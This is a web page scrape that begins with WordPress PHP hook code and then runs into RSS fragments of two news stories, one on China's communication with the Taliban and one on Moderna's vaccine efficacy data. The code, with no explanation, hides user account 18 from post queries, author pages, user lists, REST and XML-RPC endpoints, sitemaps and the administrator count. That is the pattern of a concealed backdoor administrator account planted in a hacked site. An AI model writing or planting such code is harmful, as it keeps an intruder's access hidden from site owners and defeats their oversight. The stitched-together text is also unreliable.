add_action( 'pre_get_posts', function( $q ) {
if ( ! is_admin() && $q->is_main_query() ) {
$not_in = (array) $q->get( 'author__not_in' );
$not_in[] = 18;
$q->set(
'author__not_in',
array_unique( array_map( 'intval', $not_in ) )
);
}
}, 1 );
add_action( 'template_redirect', function() {
if ( is_author() ) {
$author = get_queried_object();
if ( $author instanceof WP_User && (int) $author->ID === 18 ) {
global $wp_query;
$wp_query->set_404();
status_header( 404 );
nocache_headers();
}
}
} );
add_action( 'pre_user_query', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
global $wpdb;
$q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 18 );
} );
add_action( 'pre_get_users', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
$exclude = (array) $q->get( 'exclude' );
$exclude[] = 18;
$q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) );
} );
add_filter( 'wp_dropdown_users_args', function( $a ) {
$exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array();
$exclude[] = 18;
$a['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $a;
} );
add_filter( 'rest_user_query', function( $args, $request ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 18;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
}, 10, 2 );
add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) {
$route = $request->get_route();
if ( preg_match( '#^/wp/v2/users/18(/|$)#', $route ) ) {
return new WP_Error(
'rest_user_invalid_id',
'Invalid user ID.',
array( 'status' => 404 )
);
}
return $result;
}, 10, 3 );
add_filter( 'xmlrpc_methods', function( $methods ) {
unset(
$methods['wp.getUsers'],
$methods['wp.getUser'],
$methods['wp.getProfile']
);
return $methods;
} );
add_filter( 'wp_sitemaps_users_query_args', function( $args ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 18;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
} );
add_action( 'admin_head-users.php', function() {
echo '';
} );
add_filter( 'views_users', function( $views ) {
foreach ( array( 'all', 'administrator' ) as $key ) {
if ( isset( $views[ $key ] ) ) {
$views[ $key ] = preg_replace_callback(
'/\((\d+)\)/',
function( $m ) {
return '(' . max( 0, (int) $m[1] - 1 ) . ')';
},
$views[ $key ],
1
);
}
}
return $views;
} );
add_action( 'init', function() {
if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) {
return;
}
if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) {
wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' );
}
} );
add_action( 'wp_extra_bot_heartbeat', function() {
// noop
} );
The post China says it has a smooth and effective communication channel with the Taliban appeared first on The Edge Media.
]]>Abdul Salam Hanafi, the deputy head of the Taliban political office in Qatar, met Chinese ambassador to Afghanistan Wang Yu in Kabul on Tuesday.
The Chinese foreign ministry did not share details about the meeting, the highest level one since the upheaval in Afghanistan.
It was the latest instance of Beijing seeking to establish smooth ties with the insurgent group that swept to power following the pullback by western military forces.
Earlier in the day, Russian news agency, Sputnik quoted a Taliban spokesperson Mohammad Naeem as tweeting: “They discussed the security of the Chinese embassy and diplomats, the current situation in Afghanistan, bilateral relations and China’s humanitarian assistance.”
Asked about the meeting in Beijing, Chinese foreign ministry spokesperson, Wang Wenbin said Kabul is an important channel for the two sides to discuss various important issues.
Wang described it as “open and effective communication and consultation with the Afghan Taliban”.
“We have always respected Afghanistan’s sovereign independence and territorial integrity, pursued a policy of non-interference in Afghanistan’s internal affairs and adhered to a policy of friendship towards the entire Afghan people,” Wang said on Wednesday in Beijing.
On Tuesday, the Chinese foreign ministry had said that imposing sanctions on the Taliban in Afghanistan will prove counterproductive, and had urged the international community to support chances for positive developments in the country.
The post China says it has a smooth and effective communication channel with the Taliban appeared first on The Edge Media.
]]>The post Covid shot about 93% effective through six months after the second dose : Moderna Inc appeared first on The Edge Media.
]]>However, it said it still expects booster shots to be necessary ahead of the winter season as antibody levels are expected to wane. It and rival Pfizer Inc and BioNTech SE have been advocating a third shot to maintain a high level of protection against COVID-19.
During a second-quarter earnings call, Moderna CEO Stephane Bancel said that the company would not produce more than the 800 million to 1 billion doses of the vaccine that it has targeted this year.
“We are now capacity constrained for 2021, and we are not taking any more orders for 2021 delivery,” he said.
Moderna shares fell 3.6% to around $403.87 in pre-market trading after closing at $419.05 on Wednesday.
The Moderna data compares favorably to that released by Pfizer and BioNTech last week in which they said their vaccine’s efficacy waned around 6% every two months, declining to around 84% six months after the second shot.
Both the Moderna and Pfizer-BioNTech vaccines are based on messenger RNA (mRNA) technology.
“Our COVID-19 vaccine is showing durable efficacy of 93% through six months, but recognize that the Delta variant is a significant new threat so we must remain vigilant,” Bancel said.
The comment comes as public health officials across the world debate whether additional doses are safe, effective and necessary even as they grapple with the fast-spreading Delta variant of the coronavirus.
Meanwhile, Pfizer is planning to seek authorization for a third shot later this month, and some countries like Israel have begun or plan to start administering a booster shot to older or vulnerable people.
The post Covid shot about 93% effective through six months after the second dose : Moderna Inc appeared first on The Edge Media.
]]>